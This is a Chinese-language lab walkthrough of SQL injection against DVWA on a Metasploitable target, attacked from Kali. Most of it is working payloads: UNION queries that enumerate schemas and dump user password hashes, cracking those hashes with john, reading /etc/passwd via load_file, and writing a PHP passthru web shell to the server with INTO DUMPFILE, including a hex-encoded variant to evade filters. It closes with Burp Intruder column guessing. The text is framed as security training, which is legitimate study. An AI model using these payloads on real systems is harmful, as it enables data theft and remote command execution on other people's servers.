实验环境:
metasploitable:172.16.2.63
Security Level:low
kali linux:172.16.2.65
SQL注入漏洞原理
- 服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器。
- 用户登录判断
- SELECT * FROM users WHERE user=‘uname’ AND password=‘pass’
- SELECT * FROM users WHERE user=‘name’ AND password=" OR “=”
查询方法
基于报错的检测方法(low)
' " % ()等
输入'
报错
输入''
没结果没报错
输入'a"b'
报错
基于布尔的检测
1' and '1'='1' / 1' and '1
1' and '1'='2 / 1' and '0
猜测这里可能的sql查询语句为
select first_name,surname from users where id=''
输入:
1' and '1'='1'
order by排序
- 判断SQL语句查询了哪些个字段。
- 表列数/显示信息位于哪一列
'order by 数字 --
#按查询列号排序(注释符:-- )“-- ” 后面有个空格。- select * 时表字段数=查询字段数
联合查询
-
' union select 1,2--
闭合掉服务器端的'
,确定第1,2字段的查询结果会出现在页面的哪个位置。
此时的select查询语句为:select first_name,surname from users where id ='' union select 1,2-- '
查询结果:根据结果可以定位First name和Surname位于第几字段。
-
1' union select user(),2--
将1字段替换为函数user()
查询当前数据库的用户此时的select查询语句为:
select first_name,surname from users where id ='1' union select user(),2-- '
-
' union select user(),version()--
查询当前用户和数据库版本
-
' union select user(),database()--
数据库名
DB用户:user()
DB版本:version()
全局函数:@@datadir、@@hostname、@@VERSION、@@version_compile_os
当前库:database()
ASCII转字符:char()
连接字符串:CONCAT_WS(CHAR(32,58,32),user(),database(),version())
计算哈希:md5()
Mysql数据结构
information_schema
空格被自动替换为+
使用hackbar插件非常方便修改url
查看当前所有库所有表
' union select table_name,table_schema from information_schema.tables--+
统计每库中表的数量
' union select table_schema,count(*) from information_schema.tables group by table_schema--+
Dvwa库中的表名
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
User表中的所有列(user_id,first_name,last_name,user\password\avatar)
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+
查询user、password列的内容
' union select user,password from dvwa.users--+
' union select user,password from users--+ 在当前数据库查询时可以不写数据库的名称,直接写表名
' union select null,concat(user,0x3a,password) from users--+ 显示格式上发生变化,内容是一样的
查到user name和password
根据哈希破解密码
john --format=raw-MD5 /root/Desktop/12/dw1.txt --show
实践
简单利用
hackbar是个很好的工具,但是拥有截断代理功能的BurpSuite更方便,接下来都在BurpSuite中完成。
利用数据库管理中的load_file()函数
1. 读取文件
# 注意 --后面还有一个空格
' union select null, load_file('/etc/passwd')--
2. 写入文件
# 在第二字段放置字段php一句话木马,INTO DUMPFILE是mysql数据库管理系统默认集成的函数,将输入的东西以文件形式DUMP到那台服务器系统中,后面为指定放置路径。
' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/var/www/a.php"--
3. 保存下载数据库
' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'--
开启BurpSuite截断代理功能,在网页中随便提交数字,proxy->send to repeater
注入php一句话木马报错,修改为' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE 'a.php'--
在kali机上使用ssh msfadmin@172.16.2.65
查看该文件被默认放置的路径。发现文件被默认放置在root权限下的/var/lib/mysql
下,通过SQL注入可以将文件写入目标服务器,但通过浏览器没有访问权限去访问文件。
另想办法,mysql不能写入/www目录,试探是否可以写入其他目录,比如说通用目录/tmp
所有用户都可进行增删改查操作。
可以将文件写入中间路径,然后利用目标服务器的其他漏洞例如通过文件包含漏洞可以调用/tmp/a.php
木马文件。
将文件写入/tmp目录
' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE '/tmp/a.php'--
- 保存下载数据库
权限分离
进行SQL注入往目标服务器写入文件时写入的文件是以运行mysql进程的账号权限来进行的。
以mysql账号执行数据库进程,在利用mysql注入时获取的权限也是mysql的权限。
所以在设计时应该采用权限最小化原则和权限分离。
可以看到用户对a.php文件只有读写权限,没有执行权限。
但文件包含漏洞本身是有执行权限的,把a.php文件load进来成为页面的一部分,然后在服务器端来执行。所以a.php文件在/tmp目录下没有执行权限也没关系,通过文件包含漏洞调用可以执行。
绕过服务器过滤
目标服务器使用过滤机制,过滤特殊符号等典型代码。
将要上传的内容进行十六进制编码。
mysql数据库会在服务器端用INTO DUMPFILE函数将十六进制内容还原成php代码。
# 将木马文件 <?php passthru($_GET['cmd']);?> 转换为十六进制
# xxd命令主要用来查看文件对应的十六进制形式,也可以讲文件对应的十六进制形式输出到一个指定的文件。
# tr -d '\n' 正常的输出每行长度相等并在结尾处有换行符,url无法理解,所以使用该命令删除掉换行符
cat c.php | xxd -ps | tr -d '\n'
# 复制输出 3c3f70687020706173737468727528245f4745545b27636d64275d293b3f3e0a
在BurpSuite->repeater中执行
# 注意 十六进制前有个空格,且需要加上“0x” , --后面还有一个空格
' union select null, (0x3c3f70687020706173737468727528245f4745545b27636d64275d293b3f3e0a) INTO DUMPFILE "/tmp/c.php"--
将木马以十六进制上传,在服务器端查看,数据库INTO DUMPFILE函数会将十六进制转换为php代码。
无权读取information_schema库
前面的实验是建立在能够读取information_schema库获得数据基础上,但是当无权读取information_schema库/拒绝union、order by 语句时该怎么进行?
1.猜列名 BurpSuite自动猜列名
' and column is null--+
猜测: select * from table_name where uid=' ' and asd is null--+ ';
如果列asd存在并且有一个字段为空服务器则正常执行该语句;
如果列asd存在但为空服务器不会报错返回空白,据此可以判断 列asd在目标服务器中存在;如果不存在则会报错。
2. 猜当前表表名
' and table.user is null--+
3. 猜库里其他表:
' and (select dvwa count(*) from table)>0--+
4. 猜字段内容:
' or user='admin
' or user like ' %a%
5. 猜账号对应密码:
' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
- 猜列名 BurpSuite自动猜列名
目标服务器不存在列asd,基于此提示可以提前定制好字典文件,利用字典文件尝试各种各样的组合。
查找kali中自带的字典文件:find / -name *column*.txt
字典中有#出现,建议是先将#去除掉,因为#在数据库中有特殊含义,通常情况#后面会跟上临时表或者存储过程的名称,有可能会影响查询过程的结果。
cat /usr/share/sqlmap/data/txt/common-columns.txt | grep -v ^# > column.txt
利用BurpSuite开启截断监听->Proxy->Intercept is on
网页中输入刚才那一串代码。
BurpSuite中可以先Forward然后在HTTP history中找到刚才的请求,右键send to repeater。
重放请求。观察服务器返回结果,发现服务器返回结果确实根据变量的改变而改变。
右键 send to Intruder。
在Intruder中添加变量
最后 start attack。
根据判断服务器返回结果的长度得到由该字典文件破解出的列名。